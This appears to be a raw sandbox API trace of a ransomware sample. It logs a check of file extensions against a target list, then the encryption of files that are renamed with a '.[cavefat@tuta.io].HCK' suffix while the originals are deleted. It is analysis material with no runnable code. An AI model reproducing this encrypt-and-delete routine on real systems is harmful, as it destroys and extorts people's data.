[0147.808] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0147.808] lstrlenW (lpString=".accdt") returned 6 [0147.808] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0147.808] lstrlenW (lpString=".accdw") returned 6 [0147.808] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0147.808] lstrlenW (lpString=".adb") returned 4 [0147.808] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".adp") returned 4 [0147.808] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".ai") returned 3 [0147.808] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0147.808] lstrlenW (lpString=".ai3") returned 4 [0147.808] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".ai4") returned 4 [0147.808] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".ai5") returned 4 [0147.808] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".ai6") returned 4 [0147.808] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".ai7") returned 4 [0147.808] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0147.808] lstrlenW (lpString=".ai8") returned 4 [0147.809] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".anim") returned 5 [0147.809] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0147.809] lstrlenW (lpString=".arw") returned 4 [0147.809] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".as") returned 3 [0147.809] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0147.809] lstrlenW (lpString=".asa") returned 4 [0147.809] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".asc") returned 4 [0147.809] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".ascx") returned 5 [0147.809] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0147.809] lstrlenW (lpString=".asm") returned 4 [0147.809] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".asmx") returned 5 [0147.809] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0147.809] lstrlenW (lpString=".asp") returned 4 [0147.809] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".aspx") returned 5 [0147.809] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0147.809] lstrlenW (lpString=".asr") returned 4 [0147.809] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".asx") returned 4 [0147.809] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".avi") returned 4 [0147.809] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".avs") returned 4 [0147.809] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".backup") returned 7 [0147.809] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0147.809] lstrlenW (lpString=".bak") returned 4 [0147.809] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".bay") returned 4 [0147.809] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".bd") returned 3 [0147.809] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0147.809] lstrlenW (lpString=".bin") returned 4 [0147.809] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".bmp") returned 4 [0147.809] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".bz2") returned 4 [0147.809] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".c") returned 2 [0147.809] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0147.809] lstrlenW (lpString=".cdr") returned 4 [0147.809] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".cer") returned 4 [0147.809] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".cf") returned 3 [0147.809] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0147.809] lstrlenW (lpString=".cfc") returned 4 [0147.809] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".cfm") returned 4 [0147.809] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0147.809] lstrlenW (lpString=".cfml") returned 5 [0147.810] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0147.810] lstrlenW (lpString=".cfu") returned 4 [0147.810] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".chm") returned 4 [0147.810] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".cin") returned 4 [0147.810] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".class") returned 6 [0147.810] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0147.810] lstrlenW (lpString=".clx") returned 4 [0147.810] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".config") returned 7 [0147.810] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0147.810] lstrlenW (lpString=".cpp") returned 4 [0147.810] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".cr2") returned 4 [0147.810] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".crt") returned 4 [0147.810] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".crw") returned 4 [0147.810] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".cs") returned 3 [0147.810] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0147.810] lstrlenW (lpString=".css") returned 4 [0147.810] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".csv") returned 4 [0147.810] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".cub") returned 4 [0147.810] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dae") returned 4 [0147.810] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dat") returned 4 [0147.810] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".db") returned 3 [0147.810] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0147.810] lstrlenW (lpString=".dbf") returned 4 [0147.810] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dbx") returned 4 [0147.810] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dc3") returned 4 [0147.810] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dcm") returned 4 [0147.810] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dcr") returned 4 [0147.810] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".der") returned 4 [0147.810] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dib") returned 4 [0147.810] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dic") returned 4 [0147.810] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".dif") returned 4 [0147.810] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0147.810] lstrlenW (lpString=".divx") returned 5 [0147.810] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0147.810] lstrlenW (lpString=".djvu") returned 5 [0147.810] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0147.811] lstrlenW (lpString=".dng") returned 4 [0147.811] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".doc") returned 4 [0147.811] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".docm") returned 5 [0147.811] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0147.811] lstrlenW (lpString=".docx") returned 5 [0147.811] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0147.811] lstrlenW (lpString=".dot") returned 4 [0147.811] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".dotm") returned 5 [0147.811] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0147.811] lstrlenW (lpString=".dotx") returned 5 [0147.811] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0147.811] lstrlenW (lpString=".dpx") returned 4 [0147.811] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".dqy") returned 4 [0147.811] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".dsn") returned 4 [0147.811] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".dt") returned 3 [0147.811] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0147.811] lstrlenW (lpString=".dtd") returned 4 [0147.811] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0147.811] lstrlenW (lpString=".dwg") returned 4 [0147.811] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 Thread: id = 290 os_tid = 0x11b4 [0147.773] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3740950 [0147.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x3750958 [0147.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708588 [0147.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e860 [0147.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708630 [0147.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x3a1e020 [0147.776] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708648 [0147.776] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708648, Size=0x20) returned 0x6eec98 [0147.776] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7085a0 [0147.776] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7085a0, Size=0x20) returned 0x6eeb08 [0147.776] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.776] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.776] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcff50 | out: OldValue=0x2fcff50*=0x0) returned 1 [0147.776] lstrlenW (lpString="kernel32.dll") returned 12 [0147.776] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.776] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.776] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.776] Sleep (dwMilliseconds=0x64) [0148.122] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.132] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.140] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=82346) returned 1 [0148.140] CloseHandle (hObject=0x2f4) returned 1 [0148.140] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0148.144] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.144] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.144] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.144] GetLastError () returned 0x0 [0148.144] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x141aa, lpOverlapped=0x0) returned 1 [0148.154] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x141b0, lpOverlapped=0x0) returned 1 [0148.155] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.155] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.156] SetEndOfFile (hFile=0x2f8) returned 1 [0148.156] CloseHandle (hObject=0x2f8) returned 1 [0148.157] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.157] SetEndOfFile (hFile=0x2f4) returned 1 [0148.158] CloseHandle (hObject=0x2f4) returned 1 [0148.159] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.159] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0148.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.159] lstrlenW (lpString=".doc") returned 4 [0148.159] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.159] lstrlenW (lpString=".docx") returned 5 [0148.159] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.159] lstrlenW (lpString=".pdf") returned 4 [0148.159] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.159] lstrlenW (lpString=".xls") returned 4 [0148.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.159] lstrlenW (lpString=".xlsx") returned 5 [0148.159] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.159] lstrlenW (lpString=".ppt") returned 4 [0148.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.159] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.159] lstrlenW (lpString=".zip") returned 4 [0148.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.160] lstrlenW (lpString=".rar") returned 4 [0148.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".bz2") returned 4 [0148.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".7z") returned 3 [0148.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".dbf") returned 4 [0148.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".1cd") returned 4 [0148.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".jpg") returned 4 [0148.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".doc") returned 4 [0148.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".docx") returned 5 [0148.160] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.160] lstrlenW (lpString=".pdf") returned 4 [0148.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".xls") returned 4 [0148.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".xlsx") returned 5 [0148.160] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.160] lstrlenW (lpString=".ppt") returned 4 [0148.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".zip") returned 4 [0148.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.160] lstrlenW (lpString=".rar") returned 4 [0148.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".bz2") returned 4 [0148.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString=".7z") returned 3 [0148.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".dbf") returned 4 [0148.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.160] lstrlenW (lpString=".1cd") returned 4 [0148.161] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0148.161] lstrlenW (lpString=".jpg") returned 4 [0148.161] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.161] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.161] lstrlenW (lpString="eula.rtf") returned 8 [0148.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.161] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3188) returned 1 [0148.161] CloseHandle (hObject=0x2f4) returned 1 [0148.161] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0148.161] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.161] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.161] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.163] GetLastError () returned 0x0 [0148.163] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc74, lpOverlapped=0x0) returned 1 [0148.165] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc80, lpOverlapped=0x0) returned 1 [0148.165] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.165] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.166] SetEndOfFile (hFile=0x2f8) returned 1 [0148.166] CloseHandle (hObject=0x2f8) returned 1 [0148.167] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.167] SetEndOfFile (hFile=0x2f4) returned 1 [0148.167] CloseHandle (hObject=0x2f4) returned 1 [0148.167] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.168] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0148.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.168] lstrlenW (lpString=".doc") returned 4 [0148.168] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.168] lstrlenW (lpString=".docx") returned 5 [0148.168] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.168] lstrlenW (lpString=".pdf") returned 4 [0148.168] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.168] lstrlenW (lpString=".xls") returned 4 [0148.168] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.168] lstrlenW (lpString=".xlsx") returned 5 [0148.168] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.168] lstrlenW (lpString=".ppt") returned 4 [0148.168] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.168] lstrlenW (lpString=".zip") returned 4 [0148.168] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.168] lstrlenW (lpString=".rar") returned 4 [0148.168] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.168] lstrlenW (lpString=".bz2") returned 4 [0148.168] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.168] lstrlenW (lpString=".7z") returned 3 [0148.168] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.168] lstrlenW (lpString=".dbf") returned 4 [0148.168] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString=".1cd") returned 4 [0148.169] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString=".jpg") returned 4 [0148.169] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString=".doc") returned 4 [0148.169] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString=".docx") returned 5 [0148.169] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.169] lstrlenW (lpString=".pdf") returned 4 [0148.169] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString=".xls") returned 4 [0148.169] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.169] lstrlenW (lpString=".xlsx") returned 5 [0148.169] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.169] lstrlenW (lpString=".ppt") returned 4 [0148.169] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString=".zip") returned 4 [0148.169] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.169] lstrlenW (lpString=".rar") returned 4 [0148.169] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString=".bz2") returned 4 [0148.169] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString=".7z") returned 3 [0148.169] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] lstrlenW (lpString=".dbf") returned 4 [0148.169] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0148.169] 